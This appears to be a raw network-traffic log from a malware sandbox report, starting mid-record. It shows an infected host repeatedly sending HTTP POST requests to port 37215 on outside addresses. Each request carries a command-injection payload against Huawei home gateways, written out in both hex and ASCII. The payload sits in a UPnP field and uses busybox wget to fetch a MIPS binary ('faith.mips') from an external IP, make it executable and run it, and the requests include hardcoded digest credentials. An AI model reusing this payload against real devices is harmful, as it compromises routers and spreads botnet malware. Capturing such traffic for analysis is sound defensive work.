huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	41.232.169.155	37215	192.168.2.23	48262

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:49.399507046 CET	1814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:49.710616112 CET	1816	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	48262	41.232.169.155	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:49.399507046 CET	1814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:49.710616112 CET	1816	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	156.254.73.77	37215	192.168.2.23	33498

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:49.458961010 CET	1815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.079695940 CET	1847	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:52.995529890 CET	1908	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.026982069 CET	2042	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.705919981 CET	2242	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:20.067825079 CET	2659	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	33498	156.254.73.77	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:49.458961010 CET	1815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
